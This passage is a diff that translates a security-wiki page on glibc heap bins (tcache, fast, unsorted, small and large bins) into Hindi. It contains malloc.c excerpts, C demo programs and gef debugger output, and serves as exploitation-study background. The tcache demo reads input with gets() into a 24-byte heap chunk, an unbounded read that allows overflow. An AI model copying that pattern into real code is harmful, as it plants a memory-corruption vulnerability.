systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +इसलिए, एक टीकैश एक फास्ट बिन की तरह है प्रति थ्रेड इस तरह से कि यह एक **सिंगल लिंक्ड लिस्ट** है जो चंक्स को मर्ज नहीं करता। प्रत्येक थ्रेड के पास **64 सिंगली-लिंक्ड टीकैश बिन** होते हैं। प्रत्येक बिन में अधिकतम [7 समान आकार के चंक्स](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) हो सकते हैं जो [64-बिट सिस्टम पर 24 से 1032B और 32-बिट सिस्टम पर 12 से 516B](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) के बीच होते हैं। -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**जब एक थ्रेड** एक चंक को फ्री करता है, **यदि यह टीकैश में आवंटित करने के लिए बहुत बड़ा नहीं है** और संबंधित टीकैश बिन **भरा नहीं है** (पहले से 7 चंक्स), **तो इसे वहां आवंटित किया जाएगा**। यदि यह टीकैश में नहीं जा सकता, तो इसे फ्री ऑपरेशन को वैश्विक रूप से करने के लिए हीप लॉक का इंतजार करना होगा। -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +जब एक **चंक आवंटित किया जाता है**, यदि आवश्यक आकार का एक फ्री चंक **टीकैश में है तो इसका उपयोग करेगा**, यदि नहीं, तो इसे वैश्विक बिन में एक खोजने या एक नया बनाने के लिए हीप लॉक का इंतजार करना होगा।\ +यहां एक ऑप्टिमाइजेशन भी है, इस मामले में, हीप लॉक होने पर, थ्रेड **अपने टीकैश को अनुरोधित आकार के हीप चंक्स (7) से भरेगा**, ताकि यदि इसे और अधिक की आवश्यकता हो, तो इसे टीकैश में मिल जाएगा।
-Add a tcache chunk example - +टीकैश चंक उदाहरण जोड़ें ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +इसे संकलित करें और मुख्य फ़ंक्शन से ret ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर gef के साथ आप उपयोग में tcache बिन देख सकते हैं: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Tcache संरचनाएँ और फ़ंक्शन -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +निम्नलिखित कोड में **max bins** और **chunks per index** देखना संभव है, **`tcache_entry`** संरचना जो डबल फ्री से बचने के लिए बनाई गई है और **`tcache_perthread_struct`**, एक संरचना जो प्रत्येक थ्रेड प्रत्येक बिन के इंडेक्स के लिए पते को स्टोर करने के लिए उपयोग करता है।
-tcache_entry and tcache_perthread_struct - +tcache_entry और tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +फंक्शन `__tcache_init` वह फंक्शन है जो `tcache_perthread_struct` ऑब्जेक्ट के लिए स्थान बनाता और आवंटित करता है।
-tcache_init code - +tcache_init कोड ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Tcache इंडेक्स -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Tcache में कई बिन होते हैं जो आकार और **प्रत्येक इंडेक्स के पहले चंक के लिए प्रारंभिक पॉइंटर्स और इंडेक्स प्रति चंक की मात्रा एक चंक के अंदर स्थित होती है**। इसका मतलब है कि इस जानकारी के साथ चंक को ढूंढना (आमतौर पर पहला), सभी tcache प्रारंभिक बिंदुओं और Tcache चंक्स की मात्रा को ढूंढना संभव है। -### Fast bins +### फास्ट बिन -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +फास्ट बिन को **छोटे चंक्स के लिए मेमोरी आवंटन को तेज करने के लिए डिज़ाइन किया गया है** जो हाल ही में मुक्त किए गए चंक्स को त्वरित-एक्सेस संरचना में रखते हैं। ये बिन एक Last-In, First-Out (LIFO) दृष्टिकोण का उपयोग करते हैं, जिसका अर्थ है कि **हाल ही में मुक्त किया गया चंक पहले** फिर से उपयोग किया जाता है जब एक नया आवंटन अनुरोध होता है। यह व्यवहार गति के लिए फायदेमंद है, क्योंकि एक स्टैक (LIFO) के शीर्ष से डालना और हटाना एक कतार (FIFO) की तुलना में तेज होता है। -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +इसके अतिरिक्त, **फास्ट बिन सिंगली लिंक्ड लिस्ट का उपयोग करते हैं**, डबल लिंक्ड नहीं, जो गति को और बढ़ाता है। चूंकि फास्ट बिन में चंक्स पड़ोसी के साथ मर्ज नहीं होते हैं, इसलिए मध्य से हटाने की अनुमति देने के लिए एक जटिल संरचना की आवश्यकता नहीं होती है। एक सिंगली लिंक्ड लिस्ट इन ऑपरेशनों के लिए सरल और तेज होती है। -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +बुनियादी रूप से, यहाँ जो होता है वह यह है कि हेडर (पहले चंक की जांच के लिए पॉइंटर) हमेशा उस आकार के नवीनतम मुक्त चंक की ओर इशारा कर रहा होता है। तो: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- जब उस आकार का एक नया चंक आवंटित किया जाता है, तो हेडर एक मुक्त चंक की ओर इशारा कर रहा होता है। चूंकि यह मुक्त चंक उपयोग के लिए अगले चंक की ओर इशारा कर रहा है, यह पता हेडर में संग्रहीत किया जाता है ताकि अगला आवंटन जान सके कि उपलब्ध चंक कहाँ से प्राप्त करना है +- जब एक चंक मुक्त किया जाता है, तो मुक्त चंक वर्तमान उपलब्ध चंक के पते को सहेजता है और इस नए मुक्त किए गए चंक का पता हेडर में रखा जाएगा -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +एक लिंक्ड लिस्ट का अधिकतम आकार `0x80` है और इन्हें इस तरह से व्यवस्थित किया गया है कि `0x20` आकार का एक चंक इंडेक्स `0` में होगा, `0x30` आकार का एक चंक इंडेक्स `1` में होगा... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> फास्ट बिन में चंक्स को उपलब्ध के रूप में सेट नहीं किया जाता है, इसलिए उन्हें कुछ समय के लिए फास्ट बिन चंक्स के रूप में रखा जाता है बजाय इसके कि वे उनके चारों ओर के अन्य मुक्त चंक्स के साथ मर्ज हो सकें। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +एक फास्टबिन चंक उदाहरण जोड़ें ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +ध्यान दें कि हम समान आकार के 8 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे tcache को भर दें और आठवां फास्ट चंक में संग्रहीत होता है। -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक फास्ट बिन में है: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
### Unsorted bin -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +Unsorted bin एक **cache** है जिसका उपयोग heap manager द्वारा मेमोरी आवंटन को तेज़ बनाने के लिए किया जाता है। यह इस प्रकार काम करता है: जब एक प्रोग्राम एक टुकड़ा मुक्त करता है, और यदि यह टुकड़ा tcache या fast bin में आवंटित नहीं किया जा सकता है और शीर्ष टुकड़े के साथ टकरा नहीं रहा है, तो heap manager तुरंत इसे किसी विशेष छोटे या बड़े bin में नहीं रखता। इसके बजाय, यह पहले किसी पड़ोसी मुक्त टुकड़ों के साथ **मिलाने की कोशिश करता है** ताकि मुक्त मेमोरी का एक बड़ा ब्लॉक बनाया जा सके। फिर, यह इस नए टुकड़े को "unsorted bin" नामक एक सामान्य bin में रखता है। -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +जब एक प्रोग्राम **मेमोरी के लिए पूछता है**, तो heap manager **unsorted bin की जांच करता है** यह देखने के लिए कि क्या वहाँ पर्याप्त आकार का एक टुकड़ा है। यदि इसे एक मिलता है, तो इसका तुरंत उपयोग किया जाता है। यदि इसे unsorted bin में उपयुक्त टुकड़ा नहीं मिलता है, तो यह इस सूची में सभी टुकड़ों को उनके आकार के आधार पर छोटे या बड़े bins में स्थानांतरित कर देता है। -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +ध्यान दें कि यदि एक बड़ा टुकड़ा 2 आधों में विभाजित किया जाता है और बाकी MINSIZE से बड़ा है, तो इसे unsorted bin में वापस रखा जाएगा। -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +तो, unsorted bin मेमोरी आवंटन को तेज़ करने का एक तरीका है हाल ही में मुक्त की गई मेमोरी को जल्दी से पुन: उपयोग करके और समय-खपत करने वाले खोजों और विलय की आवश्यकता को कम करके। > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> ध्यान दें कि भले ही टुकड़े विभिन्न श्रेणियों के हों, यदि एक उपलब्ध टुकड़ा दूसरे उपलब्ध टुकड़े के साथ टकरा रहा है (भले ही वे मूल रूप से विभिन्न bins से संबंधित हों), तो उन्हें मिला दिया जाएगा।
Add a unsorted chunk example - ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ विलय नहीं होते**। -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक अनसॉर्टेड बिन में है: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
### Small Bins -Small bins are faster than large bins but slower than fast bins. +छोटे बिन बड़े बिनों की तुलना में तेज होते हैं लेकिन फास्ट बिनों की तुलना में धीमे होते हैं। -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +62 के प्रत्येक बिन में **एक ही आकार के चंक्स** होंगे: 16, 24, ... (32-बिट में अधिकतम आकार 504 बाइट और 64-बिट में 1024 बाइट)। यह उस बिन को खोजने की गति में मदद करता है जहाँ स्थान आवंटित किया जाना चाहिए और इन सूचियों पर प्रविष्टियों को डालने और हटाने में। -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +यहाँ छोटे बिन के आकार की गणना बिन के इंडेक्स के अनुसार की जाती है: +- सबसे छोटा आकार: 2\*4\*index (जैसे, index 5 -> 40) +- सबसे बड़ा आकार: 2\*8\*index (जैसे, index 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +छोटे और बड़े बिन के बीच चयन करने के लिए फ़ंक्शन: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +एक छोटा उदाहरण जोड़ें ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ मर्ज नहीं होते**। फिर हम 0x110 का एक बड़ा चंक आवंटित करते हैं जो **अनसॉर्टेड बिन में चंक को छोटे बिन में ले जाता है**। -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक छोटे बिन में है: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### बड़े बिन -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +छोटे बिन के विपरीत, जो निश्चित आकार के टुकड़ों का प्रबंधन करते हैं, प्रत्येक **बड़ा बिन टुकड़ों के आकार की एक श्रृंखला को संभालता है**। यह अधिक लचीला है, जिससे सिस्टम को **विभिन्न आकारों** को समायोजित करने की अनुमति मिलती है बिना प्रत्येक आकार के लिए एक अलग बिन की आवश्यकता के। -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +एक मेमोरी आवंटक में, बड़े बिन छोटे बिन के समाप्त होने पर शुरू होते हैं। बड़े बिन के लिए रेंज धीरे-धीरे बढ़ती है, जिसका अर्थ है कि पहला बिन 512 से 576 बाइट्स तक के टुकड़ों को कवर कर सकता है, जबकि अगला 576 से 640 बाइट्स तक को कवर करता है। यह पैटर्न जारी रहता है, सबसे बड़े बिन में 1MB से ऊपर के सभी टुकड़े होते हैं। -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +बड़े बिन छोटे बिन की तुलना में संचालन में धीमे होते हैं क्योंकि उन्हें आवंटन के लिए **सर्वश्रेष्ठ फिट खोजने के लिए विभिन्न टुकड़ों के आकार की सूची को क्रमबद्ध और खोजने** की आवश्यकता होती है। जब एक टुकड़ा बड़े बिन में डाला जाता है, तो इसे क्रमबद्ध करना होता है, और जब मेमोरी आवंटित की जाती है, तो सिस्टम को सही टुकड़ा खोजना होता है। यह अतिरिक्त कार्य उन्हें **धीमा** बनाता है, लेकिन चूंकि बड़े आवंटन छोटे आवंटनों की तुलना में कम सामान्य होते हैं, यह एक स्वीकार्य व्यापार-बंद है। -There are: +यहाँ हैं: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 64B रेंज के 32 बिन (छोटे बिन के साथ टकराते हैं) +- 512B रेंज के 16 बिन (छोटे बिन के साथ टकराते हैं) +- 4096B रेंज के 8 बिन (छोटे बिन के साथ आंशिक रूप से टकराते हैं) +- 32768B रेंज के 4 बिन +- 262144B रेंज के 2 बिन +- शेष आकार के लिए 1 बिन
-Large bin sizes code - +बड़े बिन आकार कोड ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) 